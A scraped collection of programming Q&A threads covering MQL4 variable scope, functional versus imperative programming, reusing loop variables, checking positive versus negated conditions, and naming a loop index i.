double bod1 = Close[1]-Open[1];
double absbod1 = MathAbs(bod1);
double uwick1;
double lwick1;
if(bod1 >=0)
{
uwick1 = High[1]-Close[1];
lwick1 = Open[1]-Low[1];
}
else
{
uwick1 = High[1]-Open[1];
lwick1 = Close[1]-Low[1];
}
Alert("Lower Wick: " , lwick1 , " Upper Wick: " , uwick1);
This code should work the way you expected.
WhileMQL4 may look like a C-language,beware it is not ( +it has a pair of compilation-modesthat have VERY DIFFERENT code-execution of the SAME SOURCE CODE... so Devil is hidden in details)
Your inital notes about similarity can and will cause a lot of troubles down the road.
Forget about C.
An anxient Assembler directive is worth repeating #ASSUME NOTHING
string is not a string, but a special case of struct and the list of differences grows.
MQL4 simply is not a C-language.
The sooner one realises, the better.
First,the language's execution model is subordinated in three, very different models:- in the MQL4 Script -- disconnected from asynchronous external FxMarketEventSTREAM- in the MQL4 Expert Advisor -- a code-execution is edge-triggered by FxMarketEventSTREAM- in the MQL4 Custom Indicator -- a code-execution is (sub)-batch-run once edge-triggered by FxMarketEventSTREAM
This is something none of the C-language has built-in.
Second,the language syntax evolves ( better to say, it creeps ) and new constraints start to apply. The only method how to cope with this is to re-read MQL4 Documentation literally on each and every update, yes, on each and every update. One may avoid unwanted surprises by this step ( still more suprises remain to become visible after compilation -- needles to say, that some parts of provided documentation is clearly wrong, some remain clear, until you compile the "compliant"-code and it gets rejected by compiler/parser. The worst comes on cases, that magically "pass"-through the compiler/parser phase and remain causing you nightmares on runtime, where the crippled code does strange things, that still passed all compilation/execution restrictions, but produce havoc ( sure, another story, but posted for complete warning about the MQL4-ecosystem risks and danger-zones -- so forget about C-language, your cruelest enemy is inside MetaQuotes Language revisions ( New-MQL4.56789... ) evolution )
New-MQL4.56789has introduced dual-compilation mode -- a #strict and an "old"
One of the "New" changes ( that has caused a cost of a few man*years of code-base re-design ) is a limited variable scope. Besides a dual globally-scoped variable construct, the "New"-MQL4.56789 started to "frame" a visibility of a declared variable so that "outside" the "outer" constructor of such variable, the symbol ceases to exist and is thus undefined, as your compile-time error reports.
Q1: is solved, the if(){...}else{...} were the limits for both pair of declarations ( bracketed parts {...} were the two, adjacent scopes, where doubles were defined & "visible" ) and your original code, outside of the {...}-zone tried to reference a symbol, that was not "known" outside the declaration-scope, so the compiler had to report that as "- undefined identifier" as it had no clue what the identifier should stand for.
Q2: Yes, one can define variables within an if(){...} statement. Such variables remain defined "inside" the scope of theirs {...}-outer-block. One may benefit from another architecture feature -- a declaration modifier static. This will maintain a code-execution-time persistency of a value of such defined variable during the whole lifecycle of the code runtime environment and whenever a code-execution path re-enters the variable's {...}-visibility scope, it's value ) upon each re-entry remains re-stored for re-use.
Q3+Q4: Declaring a variable is a principally important step and assigment of a value is another one. Having said this, one may observe problems once trying to declare+assign values in one single step. There a dependency may create problems for compiler -- in some previous MQL4-Builds this was the case -- that compiler was asked to solve an undecideable problem, when the assignment was dependent ( on other variable(s), as you name it ) on some operations / values that were not available at compile-time. Your motivation is clear and doable, however please try to design your code with this little level insights into the syntax-specifications and the principal differences between a code-compilation and a code-execution states.
Epilogue: Don't panic & Enjoy the worlds of algorithmic trading.

What is difference between functional and imperative programming languages?

Most of the mainstream languages, including object-oriented programming (OOP) languages such as C#, Visual Basic, C++, and Java were designed to primarily support imperative (procedural) programming, whereas Haskell/gofer like languages are purely functional. Can anybody elaborate on what is the difference between these two ways of programming?
I know it depends on user requirements to choose the way of programming but why is it recommended to learn functional programming languages?
Here is the difference:
Imperative:
Start
Turn on your shoes size 9 1/2.
Make room in your pocket to keep an array[7] of keys.
Put the keys in the room for the keys in the pocket.
Enter garage.
Open garage.
Enter Car.
... and so on and on ...
Put the milk in the refrigerator.
Stop.
Declarative, whereof functional is a subcategory:
Milk is a healthy drink, unless you have problems digesting lactose.
Usually, one stores milk in a refrigerator.
A refrigerator is a box that keeps the things in it cool.
A store is a place where items are sold.
By "selling" we mean the exchange of things for money.
Also, the exchange of money for things is called "buying".
... and so on and on ...
Make sure we have milk in the refrigerator (when we need it - for lazy functional languages).
Summary: In imperative languages you tell the computer how to change bits, bytes and words in it's memory and in what order. In functional ones, we tell the computer what things, actions etc. are. For example, we say that the factorial of 0 is 1, and the factorial of every other natural number is the product of that number and the factorial of its predecessor. We don't say: To compute the factorial of n, reserve a memory region and store 1 there, then multiply the number in that memory region with the numbers 2 to n and store the result at the same place, and at the end, the memory region will contain the factorial.
Definition:
An imperative language uses a sequence of statements to determine how to reach a certain goal. These statements are said to change the state of the program as each one is executed in turn.
Examples:
Java is an imperative language. For example, a program can be created to add a series of numbers:
int total = 0;
int number1 = 5;
int number2 = 10;
int number3 = 15;
total = number1 + number2 + number3;
Each statement changes the state of the program, from assigning values to each variable to the final addition of those values. Using a sequence of five statements the program is explicitly told how to add the numbers 5, 10 and 15 together.
Functional languages:
The functional programming paradigm was explicitly created to support a pure functional approach to problem solving. Functional programming is a form of declarative programming.
Advantages of Pure Functions:
The primary reason to implement functional transformations as pure functions is that pure functions are composable: that is, self-contained and stateless. These characteristics bring a number of benefits, including the following:
Increased readability and maintainability. This is because each function is designed to accomplish a specific task given its arguments. The function does not rely on any external state.
Easier reiterative development. Because the code is easier to refactor, changes to design are often easier to implement. For example, suppose you write a complicated transformation, and then realize that some code is repeated several times in the transformation. If you refactor through a pure method, you can call your pure method at will without worrying about side effects.
Easier testing and debugging. Because pure functions can more easily be tested in isolation, you can write test code that calls the pure function with typical values, valid edge cases, and invalid edge cases.
For OOP People or
Imperative languages:
Object-oriented languages are good when you have a fixed set of operations on things and as your code evolves, you primarily add new things. This can be accomplished by adding new classes which implement existing methods and the existing classes are left alone.
Functional languages are good when you have a fixed set of things and as your code evolves, you primarily add new operations on existing things. This can be accomplished by adding new functions which compute with existing data types and the existing functions are left alone.
Cons:
It depends on the user requirements to choose the way of programming, so there is harm only when users don’t choose the proper way.
When evolution goes the wrong way, you have problems:
Adding a new operation to an object-oriented program may require editing many class definitions to add a new method
Adding a new kind of thing to a functional program may require editing many function definitions to add a new case.
Most modern languages are in varying degree both imperative and functional but to better understand functional programming, it will be best to take an example of pure functional language like Haskell in contrast of imperative code in not so functional language like java/C#. I believe it is always easy to explain by example, so below is one.
Functional programming: calculate factorial of n i.e n! i.e n x (n-1) x (n-2) x ...x 2 X 1
-- | Haskell comment goes like
-- | below 2 lines is code to calculate factorial and 3rd is it's execution
factorial 0 = 1
factorial n = n * factorial (n - 1)
factorial 3
-- | for brevity let's call factorial as f; And x => y shows order execution left to right
-- | above executes as := f(3) as 3 x f(2) => f(2) as 2 x f(1) => f(1) as 1 x f(0) => f(0) as 1
-- | 3 x (2 x (1 x (1)) = 6
Notice that Haskel allows function overloading to the level of argument value. Now below is example of imperative code in increasing degree of imperativeness:
//somewhat functional way
function factorial(n) {
if(n < 1) {
return 1;
}
return n * factorial(n-1);
}
factorial(3);
//somewhat more imperative way
function imperativeFactor(n) {
int f = 1;
for(int i = 1; i <= n; i++) {
f = f * i;
}
return f;
}
This read can be a good reference to understand that how imperative code focus more on how part, state of machine (i in for loop), order of execution, flow control.
The later example can be seen as java/C# lang code roughly and first part as limitation of the language itself in contrast of Haskell to overload the function by value (zero) and hence can be said it is not purist functional language, on the other hand you can say it support functional prog. to some extent.
Disclosure: none of the above code is tested/executed but hopefully should be good enough to convey the concept; also I would appreciate comments for any such correction :)
Functional Programming is a form of declarative programming, which describe the logic of computation and the order of execution is completely de-emphasized.
Problem: I want to change this creature from a horse to a giraffe.
Lengthen neck
Lengthen legs
Apply spots
Give the creature a black tongue
Remove horse tail
Each item can be run in any order to produce the same result.
Imperative Programming is procedural. State and order is important.
Problem: I want to park my car.
Note the initial state of the garage door
Stop car in driveway
If the garage door is closed, open garage door, remember new state; otherwise continue
Pull car into garage
Close garage door
Each step must be done in order to arrive at desired result. Pulling into the garage while the garage door is closed would result in a broken garage door.
//The IMPERATIVE way
int a = ...
int b = ...
int c = 0; //1. there is mutable data
c = a+b;   //2. statements (our +, our =) are used to update existing data (variable c)
An imperative program = sequence of statements that change existing data.
Focus on WHAT = our mutating data (modifiable values aka variables).
To chain imperative statements = use procedures (and/or oop).
//The FUNCTIONAL way
const int a = ... //data is always immutable
const int b = ... //data is always immutable
//1. declare pure functions; we use statements to create "new" data (the result of our +), but nothing is ever "changed"
int add(x, y)
{
return x+y;
}
//2. usage = call functions to get new data
const int c = add(a,b); //c can only be assigned (=) once (const)
A functional program = a list of functions "explaining" how new data can be obtained.
Focus on HOW = our function add.
To chain functional "statements" = use function composition.
These fundamental distinctions have deep implications.
Serious software has a lot of data and a lot of code.
So same data (variable) is used in multiple parts of the code.
A. In an imperative program, the mutability of this (shared) data causes issues
code is hard to understand/maintain (since data can be modified in different locations/ways/moments)
parallelizing code is hard (only one thread can mutate a memory location at the time) which means mutating accesses to same variable have to be serialized = developer must write additional code to enforce this serialized access to shared resources, typically via locks/semaphores
As an advantage: data is really modified in place, less need to copy. (some performance gains)
B. On the other hand, functional code uses immutable data which does not have such issues. Data is readonly so there are no race conditions. Code can be easily parallelized. Results can be cached. Much easier to understand.
As a disadvantage: data is copied a lot in order to get "modifications".
See also: https://en.wikipedia.org/wiki/Referential_transparency
Imperative programming style was practiced in web development from 2005 all the way to 2013.
With imperative programming, we wrote out code that listed exactly what our application should do, step by step.
The functional programming style produces abstraction through clever ways of combining functions.
There is mention of declarative programming in the answers and regarding that I will say that declarative programming lists out some rules that we are to follow. We then provide what we refer to as some initial state to our application and we let those rules kind of define how the application behaves.
Now, these quick descriptions probably don’t make a lot of sense, so lets walk through the differences between imperative and declarative programming by walking through an analogy.
Imagine that we are not building software, but instead we bake pies for a living. Perhaps we are bad bakers and don’t know how to bake a delicious pie the way we should.
So our boss gives us a list of directions, what we know as a recipe.
The recipe will tell us how to make a pie. One recipe is written in an imperative style like so:
Mix 1 cup of flour
Add 1 egg
Add 1 cup of sugar
Pour the mixture into a pan
Put the pan in the oven for 30 minutes and 350 degrees F.
The declarative recipe would do the following:
1 cup of flour, 1 egg, 1 cup of sugar - initial State
Rules
If everything mixed, place in pan.
If everything unmixed, place in bowl.
If everything in pan, place in oven.
So imperative approaches are characterized by step by step approaches. You start with step one and go to step 2 and so on.
You eventually end up with some end product. So making this pie, we take these ingredients mix them, put it in a pan and in the oven and you got your end product.
In a declarative world, its different.In the declarative recipe we would separate our recipe into two separate parts, start with one part that lists the initial state of the recipe, like the variables. So our variables here are the quantities of our ingredients and their type.
We take the initial state or initial ingredients and apply some rules to them.
So we take the initial state and pass them through these rules over and over again until we get a ready to eat rhubarb strawberry pie or whatever.
So in a declarative approach, we have to know how to properly structure these rules.
So the rules we might want to examine our ingredients or state, if mixed, put them in a pan.
With our initial state, that doesn’t match because we haven’t yet mixed our ingredients.
So rule 2 says, if they not mixed then mix them in a bowl. Okay yeah this rule applies.
Now we have a bowl of mixed ingredients as our state.
Now we apply that new state to our rules again.
So rule 1 says if ingredients are mixed place them in a pan, okay yeah now rule 1 does apply, lets do it.
Now we have this new state where the ingredients are mixed and in a pan. Rule 1 is no longer relevant, rule 2 does not apply.
Rule 3 says if the ingredients are in a pan, place them in the oven, great that rule is what applies to this new state, lets do it.
And we end up with a delicious hot apple pie or whatever.
Now, if you are like me, you may be thinking, why are we not still doing imperative programming. This makes sense.
Well, for simple flows yes, but most web applications have more complex flows that cannot be properly captured by imperative programming design.
In a declarative approach, we may have some initial ingredients or initial state like textInput=“”, a single variable.
Maybe text input starts off as an empty string.
We take this initial state and apply it to a set of rules defined in your application.
If a user enters text, update text input. Well, right now that doesn’t apply.
If template is rendered, calculate the widget.
If textInput is updated, re render the template.
Well, none of this applies so the program will just wait around for an event to happen.
So at some point a user updates the text input and then we might apply rule number 1.
We may update that to “abcd”
So we just updated our text and textInput updates, rule number 2 does not apply, rule number 3 says if text input is update, which just occurred, then re render the template and then we go back to rule 2 thats says if template is rendered, calculate the widget, okay lets calculate the widget.
In general, as programmers, we want to strive for more declarative programming designs.
Imperative seems more clear and obvious, but a declarative approach scales very nicely for larger applications.
I think it's possible to express functional programming in an imperative fashion:
Using a lot of state check of objects and if... else/ switch statements
Some timeout/ wait mechanism to take care of asynchornousness
There are huge problems with such approach:
Rules/ procedures are repeated
Statefulness leaves chances for side-effects/ mistakes
Functional programming, treating functions/ methods like objects and embracing statelessness, was born to solve those problems I believe.
Example of usages: frontend applications like Android, iOS or web apps' logics incl. communication with backend.
Other challenges when simulating functional programming with imperative/ procedural code:
Race condition
Complex combination and sequence of events. For example, user tries to send money in a banking app. Step 1) Do all of the following in parallel, only proceed if all is good a) Check if user is still good (fraud, AML) b) check if user has enough balance c) Check if recipient is valid and good (fraud, AML) etc. Step 2) perform the transfer operation Step 3) Show update on user's balance and/ or some kind of tracking. With RxJava for example, the code is concise and sensible. Without it, I can imagine there'd be a lot of code, messy and error prone code
I also believe that at the end of the day, functional code will get translated into assembly or machine code which is imperative/ procedural by the compilers. However, unless you write assembly, as humans writing code with high level/ human-readable language, functional programming is the more appropriate way of expression for the listed scenarios
There seem to be many opinions about what functional programs and what imperative programs are.
I think functional programs can most easily be described as "lazy evaluation" oriented. Instead of having a program counter iterate through instructions, the language by design takes a recursive approach.
In a functional language, the evaluation of a function would start at the return statement and backtrack, until it eventually reaches a value. This has far reaching consequences with regards to the language syntax.
Imperative: Shipping the computer around
Below, I've tried to illustrate it by using a post office analogy. The imperative language would be mailing the computer around to different algorithms, and then have the computer returned with a result.
Functional: Shipping recipes around
The functional language would be sending recipes around, and when you need a result - the computer would start processing the recipes.
This way, you ensure that you don't waste too many CPU cycles doing work that is never used to calculate the result.
When you call a function in a functional language, the return value is a recipe that is built up of recipes which in turn is built of recipes. These recipes are actually what's known as closures.
// helper function, to illustrate the point
function unwrap(val) {
while (typeof val === "function") val = val();
return val;
}
function inc(val) {
return function() { unwrap(val) + 1 };
}
function dec(val) {
return function() { unwrap(val) - 1 };
}
function add(val1, val2) {
return function() { unwrap(val1) + unwrap(val2) }
}
// lets "calculate" something
let thirteen = inc(inc(inc(10)))
let twentyFive = dec(add(thirteen, thirteen))
// MAGIC! The computer still has not calculated anything.
// 'thirteen' is simply a recipe that will provide us with the value 13
// lets compose a new function
let doubler = function(val) {
return add(val, val);
}
// more modern syntax, but it's the same:
let alternativeDoubler = (val) => add(val, val)
// another function
let doublerMinusOne = (val) => dec(add(val, val));
// Will this be calculating anything?
let twentyFive = doubler(thirteen)
// no, nothing has been calculated. If we need the value, we have to unwrap it:
console.log(unwrap(thirteen)); // 26
The unwrap function will evaluate all the functions to the point of having a scalar value.
Language Design Consequences
Some nice features in imperative languages, are impossible in functional languages. For example the value++ expression, which in functional languages would be difficult to evaluate. Functional languages make constraints on how the syntax must be, because of the way they are evaluated.
On the other hand, with imperative languages can borrow great ideas from functional languages and become hybrids.
Functional languages have great difficulty with unary operators like for example ++ to increment a value. The reason for this difficulty is not obvious, unless you understand that functional languages are evaluated "in reverse".
Implementing a unary operator would have to be implemented something like this:
let value = 10;
function increment_operator(value) {
return function() {
unwrap(value) + 1;
}
}
value++ // would "under the hood" become value = increment_operator(value)
Note that the unwrap function I used above, is because javascript is not a functional language, so when needed we have to manually unwrap the value.
It is now apparent that applying increment a thousand times would cause us to wrap the value with 10000 closures, which is worthless.
The more obvious approach, is to actually directly change the value in place - but voila: you have introduced modifiable values a.k.a mutable values which makes the language imperative - or actually a hybrid.
Under the hood, it boils down to two different approaches to come up with an output when provided with an input.
Below, I'll try to make an illustration of a city with the following items:
The Computer
Your Home
The Fibonaccis
Imperative Languages
Task: Calculate the 3rd fibonacci number.
Steps:
Put The Computer into a box and mark it with a sticky note:
Field
Value
Mail Address
The Fibonaccis
Return Address
Your Home
Parameters
3
Return Value
undefined
and send off the computer.
The Fibonaccis will upon receiving the box do as they always do:
Is the parameter < 2?
Yes: Change the sticky note, and return the computer to the post office:
Field
Value
Mail Address
The Fibonaccis
Return Address
Your Home
Parameters
3
Return Value
0 or 1 (returning the parameter)
and return to sender.
Otherwise:
Put a new sticky note on top of the old one:
Field
Value
Mail Address
The Fibonaccis
Return Address
Otherwise, step 2, c/oThe Fibonaccis
Parameters
2 (passing parameter-1)
Return Value
undefined
and send it.
Take off the returned sticky note. Put a new sticky note on top of the initial one and send The Computer again:
Field
Value
Mail Address
The Fibonaccis
Return Address
Otherwise, done, c/o The Fibonaccis
Parameters
2 (passing parameter-2)
Return Value
undefined
By now, we should have the initial sticky note from the requester, and two used sticky notes, each having their Return Value field filled. We summarize the return values and put it in the Return Value field of the final sticky note.
Field
Value
Mail Address
The Fibonaccis
Return Address
Your Home
Parameters
3
Return Value
2 (returnValue1 + returnValue2)
and return to sender.
As you can imagine, quite a lot of work starts immediately after you send your computer off to the functions you call.
The entire programming logic is recursive, but in truth the algorithm happens sequentially as the computer moves from algorithm to algorithm with the help of a stack of sticky notes.
Functional Languages
Task: Calculate the 3rd fibonacci number. Steps:
Write the following down on a sticky note:
Field
Value
Instructions
The Fibonaccis
Parameters
3
That's essentially it. That sticky note now represents the computation result of fib(3).
We have attached the parameter 3 to the recipe named The Fibonaccis. The computer does not have to perform any calculations, unless somebody needs the scalar value.
Functional Javascript Example
I've been working on designing a programming language named Charm, and this is how fibonacci would look in that language.
fib: (n) => if (
n < 2 // test
n // when true
fib(n-1) + fib(n-2) // when false
)
print(fib(4));
This code can be compiled both into imperative and functional "bytecode".
The imperative javascript version would be:
let fib = (n) =>
n < 2 ?
n :
fib(n-1) + fib(n-2);
The HALF functional javascript version would be:
let fib = (n) => () =>
n < 2 ?
n :
fib(n-1) + fib(n-2);
The PURE functional javascript version would be much more involved, because javascript doesn't have functional equivalents.
let unwrap = ($) =>
typeof $ !== "function" ? $ : unwrap($());
let $if = ($test, $whenTrue, $whenFalse) => () =>
unwrap($test) ? $whenTrue : $whenFalse;
let $lessThen = (a, b) => () =>
unwrap(a) < unwrap(b);
let $add = ($value, $amount) => () =>
unwrap($value) + unwrap($amount);
let $sub = ($value, $amount) => () =>
unwrap($value) - unwrap($amount);
let $fib = ($n) => () =>
$if(
$lessThen($n, 2),
$n,
$add( $fib( $sub($n, 1) ), $fib( $sub($n, 2) ) )
);
I'll manually "compile" it into javascript code:
"use strict";
// Library of functions:
/**
* Function that resolves the output of a function.
*/
let $$ = (val) => {
while (typeof val === "function") {
val = val();
}
return val;
}
/**
* Functional if
*
* The $ suffix is a convention I use to show that it is "functional"
* style, and I need to use $$() to "unwrap" the value when I need it.
*/
let if$ = (test, whenTrue, otherwise) => () =>
$$(test) ? whenTrue : otherwise;
/**
* Functional lt (less then)
*/
let lt$ = (leftSide, rightSide) => () =>
$$(leftSide) < $$(rightSide)
/**
* Functional add (+)
*/
let add$ = (leftSide, rightSide) => () =>
$$(leftSide) + $$(rightSide)
// My hand compiled Charm script:
/**
* Functional fib compiled
*/
let fib$ = (n) => if$( // fib: (n) => if(
lt$(n, 2), // n < 2
() => n, // n
() => add$(fib$(n-2), fib$(n-1)) // fib(n-1) + fib(n-2)
) // )
// This takes a microsecond or so, because nothing is calculated
console.log(fib$(30));
// When you need the value, just unwrap it with $$( fib$(30) )
console.log( $$( fib$(5) ))
// The only problem that makes this not truly functional, is that
console.log(fib$(5) === fib$(5)) // is false, while it should be true
// but that should be solveable
https://jsfiddle.net/819Lgwtz/42/
I know this question is older and others already explained it well, I would like to give an example problem which explains the same in simple terms.
Problem: Writing the 1's table.
Solution: -
By Imperative style: =>
1*1=1
1*2=2
1*3=3
.
.
.
1*n=n
By Functional style: =>
1
2
3
.
.
.
n
Explanation in Imperative style we write the instructions more explicitly and which can be called as in more simplified manner.
Where as in Functional style, things which are self-explanatory will be ignored.

Any language: recycling Variables

This seems like a simple question to ask but, is it generally a good idea to re-use variables in any scripting language?
I'm particularly interested in the reasons why it is/isn't good practice as I'm besides my self if I should or shouldn't be doing it.
For example, $i is one of the most common variables used in a loop to iterate through things.
E.g (in php):
//This script will iterate each entry in $array
//and output it with a comma if it isn't the last item.
$i=0; //Recycling $i
foreach ($array as $v) {
$i++;
if ($i<count($array))
{
echo $v.', ';
}
else {
echo $v;
}
}
Say I had several loops in my script, would it be better to re-use $i or to just use another variable such as $a and for any other loops go from $b to $z.
Obviously to re-use $i, I'd have to set $i=0; or null before the loop, or else it would give some very weird behaviour later on in the script. Which makes me wonder if reusing it is worth the hassle..
Would the following take up more space than just using another variable?
$i=0; //Recycling $i
Of course this is the most simple example of use and I would like to know about if the script were terribly more complicated, would it cause more trouble than it's worth?
I know that re-using a variable could save a minuscule amount of memory but when those variables stack up, it gets important, doesn't it?
Thank you for any straight answers in advance and if this question is too vague, I apologize and would like to know that too- so that I know I should ask questions such as these elsewhere.
I think you have "string" confused with "variable". A string is a collection of ASCII or Unicode characters, depending on the programming language. A variable is a named location in memory. So you are talking about recycling a variable, not a string.
Unfortunately, the way that variables are dealt with is highly language and compiler specific. You will get much better information if you give us more details.
Most languages have the concept of scope, with variable space being allocated at declaration and deallocated when the scope ends. If you keep a variable in its proper scope, you won't have to worry about wasting memory, as variables will be deallocated when no longer needed. Again, the specifics of scope are language dependent.
Generally, it is a bad idea to reuse variable names like that, as when (not if) you forget to reset the variable to some initial value within the same scope, your program will break at runtime.
You should be initializing $i to 0 before entering your foreach loop, regardless of whether you used it earlier in the function, and regardless of the language you're using. It's quite simply a language-neutral best practice.
Many languages help you enforce this by allowing you to bind the counting variable to the scope of the for loop. PHP's foreach provides a similar mechanism, provided your array is 0-based and contains only numeric keys:
foreach ($array as $i => $v) {
echo $v;
if ($i + 1 < count($array))
echo ', ';
}
Also, in regards to your statement:
I know that re-using a variable could save a minuscule amount of memory but when those variables stack up, it gets important, doesn't it?
No, it really doesn't. Variables will be garbage-collected when they fall out of scope. It's virtually impossible (without programatically generating code) to use so many counting/temporary variables through the course of a single function that the memory usage is at all significant. Reusing a variable instead of declaring a new variable will have no measurable impact on your programs performance, and virtually no impact on its memory footprint.
Resetting your variable ($i=0) is not going to take more space.
When you declare a variable (say of type integer), a predefined amount of memory is allocated for that integer regardless of what its value is. By changing it back to zero, you only modify the value.
If you declare a new variable, memory will have to be allocated for it and typically it will also be initialized to zero, so resetting your existing variable probably isn't taking any extra CPU time either.
Reusing an index variable for mutually exclusive loops is a good idea; it makes your code easier to understand. If you're declaring a lot of extra variables, other people reading your code may wonder if "i" is still being used for something even after your loop has completed.
Reuse it! :)
Personally I donm't have any problem with reusing index/counter variables - although in some languages eg .Net, using a variable in a for loop specifically scopes the variable to that loop - so it's cleaned up afterwards no matter what.
You shouldn't ever re-use variables which contain any significant data (This shouldn't be an issue as all your variables should have descriptive names)
I once had to try to clean up some excel macro code written by a student - all the variable names were Greek gods and the usage swapped repeatedly throughout the script. In the end, I just re-wrote it.
You should also be aware that depending on the type of variable and the language you're using, re-allocating contents can be as expensive as creating a new variable. eg again in .Net, strings are immutable so this...
Dim MyString as String = "Something"
MyString = "SomethingElse"
Will actually allocate a new area of memory to store the 2nd usage and change the MyString pointer to point at the new location.
Incidentally, this is why the following is really inefficient (at least in .Net):
Dim SomeString = SomeVariable & " " & SomeOtherVariable
This allocates memory for SomeVariable then more memory for SomeVariable + " ", then yet again for SomeVariable + " " + SomeOtherVariable - meaning SomeVariable is actually written to memory 3 times.
In summary, very simple variables for loops I'd re-use. Anything else, I'd just assign a new variables - especially since memory allocation is usually only a tiny fraction of the time/processing of most applications.
Remember: Premature optimization is the root of all evil
This depends on the problem you are solving.
When using PHP (and other scripting languages) you should consider unset() on sizeable variables such as arrays or long strings. You shouldn't bother to re-use or unset small variables (integer/boolean/etc). It just isn't worth it when using a (slow) scripting language.
If you are developing a performance critical application in a low (lower) level language such as C then variable re-use is more important.

Practice of checking 'trueness' or 'equality' in conditional statements - does it really make sense?

I remember many years back, when I was in school, one of my computer science teachers taught us that it was better to check for 'trueness' or 'equality' of a condition and not the negative stuff like 'inequality'.
Let me elaborate - If a piece of conditional code can be written by checking whether an expression is true or false, we should check the 'trueness'.
Example: Finding out whether a number is odd - it can be done in two ways:
if ( num % 2 != 0 )
{
// Number is odd
}
or
if ( num % 2 == 1 )
{
// Number is odd
}
(Please refer to the marked answer for a better example.)
When I was beginning to code, I knew that num % 2 == 0 implies the number is even, so I just put a ! there to check if it is odd. But he was like 'Don't check NOT conditions. Have the practice of checking the 'trueness' or 'equality' of conditions whenever possible.' And he recommended that I use the second piece of code.
I am not for or against either but I just wanted to know - what difference does it make? Please don't reply 'Technically the output will be the same' - we ALL know that. Is it a general programming practice or is it his own programming practice that he is preaching to others?
NOTE: I used C#/C++ style syntax for no reason. My question is equally applicable when using the IsNot, <> operators in VB etc. So readability of the '!' operator is just one of the issues. Not THE issue.
The problem occurs when, later in the project, more conditions are added - one of the projects I'm currently working on has steadily collected conditions over time (and then some of those conditions were moved into struts tags, then some to JSTL...) - one negative isn't hard to read, but 5+ is a nightmare, especially when someone decides to reorganize and negate the whole thing. Maybe on a new project, you'll write:
if (authorityLvl!=Admin){
doA();
}else{
doB();
}
Check back in a month, and it's become this:
if (!(authorityLvl!=Admin && authorityLvl!=Manager)){
doB();
}else{
doA();
}
Still pretty simple, but it takes another second.
Now give it another 5 to 10 years to rot.
(x%2!=0) certainly isn't a problem, but perhaps the best way to avoid the above scenario is to teach students not to use negative conditions as a general rule, in the hopes that they'll use some judgement before they do - because just saying that it could become a maintenance problem probably won't be enough motivation.
As an addendum, a better way to write the code would be:
userHasAuthority = (authorityLvl==Admin);
if (userHasAuthority){
doB();
else{
doA();
}
Now future coders are more likely to just add "|| authorityLvl==Manager", userHasAuthority is easier to move into a method, and even if the conditional is reorganized, it will only have one negative. Moreover, no one will add a security hole to the application by making a mistake while applying De Morgan's Law.
I will disagree with your old professor - checking for a NOT condition is fine as long as you are checking for a specific NOT condition. It actually meets his criteria: you would be checking that it is TRUE that a value is NOT something.
I grok what he means though - mostly the true condition(s) will be orders of magnitude smaller in quantity than the NOT conditions, therefore easier to test for as you are checking a smaller set of values.
I've had people tell me that it's to do with how "visible" the ping (!) character is when skim reading.
If someone habitually "skim reads" code - perhaps because they feel their regular reading speed is too slow - then the ! can be easily missed, giving them a critical mis-understanding of the code.
On the other hand, if a someone actually reads all of the code all of the time, then there is no issue.
Two very good developers I've worked with (and respect highily) will each write == false instead of using ! for similar reasons.
The key factor in my mind is less to do with what works for you (or me!), and more with what works for the guy maintaining the code. If the code is never going to be seen or maintained by anyone else, follow your personal whim; if the code needs to be maintained by others, better to steer more towards the middle of the road. A minor (trivial!) compromise on your part now, might save someone else a week of debugging later on.
Update: On further consideration, I would suggest factoring out the condition as a separate predicate function would give still greater maintainability:
if (isOdd(num))
{
// Number is odd
}
You still have to be careful about things like this:
if ( num % 2 == 1 )
{
// Number is odd
}
If num is negative and odd then depending on the language or implementation num % 2 could equal -1. On that note, there is nothing wrong with checking for the falseness if it simplifies at least the syntax of the check. Also, using != is more clear to me than just !-ing the whole thing as the ! may blend in with the parenthesis.
To only check the trueness you would have to do:
if ( num % 2 == 1 || num % 2 == -1 )
{
// Number is odd
}
That is just an example obviously. The point is that if using a negation allows for fewer checks or makes the syntax of the checks clear then that is clearly the way to go (as with the above example). Locking yourself into checking for trueness does not suddenly make your conditional more readable.
I remember hearing the same thing in my classes as well. I think it's more important to always use the more intuitive comparison, rather than always checking for the positive condition.
Really a very in-consequential issue. However, one negative to checking in this sense is that it only works for binary comparisons. If you were for example checking some property of a ternary numerical system you would be limited.
Replying to Bevan (it didn't fit in a comment):
You're right. !foo isn't always the same as foo == false. Let's see this example, in JavaScript:
var foo = true,
bar = false,
baz = null;
foo == false; // false
!foo; // false
bar == false; // true
!bar; // true
baz == false; // false (!)
!baz; // true
I also disagree with your teacher in this specific case. Maybe he was so attached to the generally good lesson to avoid negatives where a positive will do just fine, that he didn't see this tree for the forest.
Here's the problem. Today, you listen to him, and turn your code into:
// Print black stripe on odd numbers
int zebra(int num) {
if (num % 2 == 1) {
// Number is odd
printf("*****\n");
}
}
Next month, you look at it again and decide you don't like magic constants (maybe he teaches you this dislike too). So you change your code:
#define ZEBRA_PITCH 2
[snip pages and pages, these might even be in separate files - .h and .c]
// Print black stripe on non-multiples of ZEBRA_PITCH
int zebra(int num) {
if (num % ZEBRA_PITCH == 1) {
// Number is not a multiple of ZEBRA_PITCH
printf("*****\n");
}
}
and the world seems fine. Your output hasn't changed, and your regression testsuite passes.
But you're not done. You want to support mutant zebras, whose black stripes are thicker than their white stripes. You remember from months back that you originally coded it such that your code prints a black stripe wherever a white strip shouldn't be - on the not-even numbers. So all you have to do is to divide by, say, 3, instead of by 2, and you should be done. Right? Well:
#define DEFAULT_ZEBRA_PITCH 2
[snip pages and pages, these might even be in separate files - .h and .c]
// Print black stripe on non-multiples of pitch
int zebra(int num, int pitch) {
if (num % pitch == 1) {
// Number is odd
printf("*****\n");
}
}
Hey, what's this? You now have mostly-white zebras where you expected them to be mostly black!
The problem here is how think about numbers. Is a number "odd" because it isn't even, or because when dividing by 2, the remainder is 1? Sometimes your problem domain will suggest a preference for one, and in those cases I'd suggest you write your code to express that idiom, rather than fixating on simplistic rules such as "don't test for negations".

Is a variable named i unacceptable? [closed]

Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 7 years ago.
Improve this question
As far as variable naming conventions go, should iterators be named i or something more semantic like count? If you don't use i, why not? If you feel that i is acceptable, are there cases of iteration where it shouldn't be used?
Depends on the context I suppose. If you where looping through a set of Objects in some
collection then it should be fairly obvious from the context what you are doing.
for(int i = 0; i < 10; i++)
{
// i is well known here to be the index
objectCollection[i].SomeProperty = someValue;
}
However if it is not immediately clear from the context what it is you are doing, or if you are making modifications to the index you should use a variable name that is more indicative of the usage.
for(int currentRow = 0; currentRow < numRows; currentRow++)
{
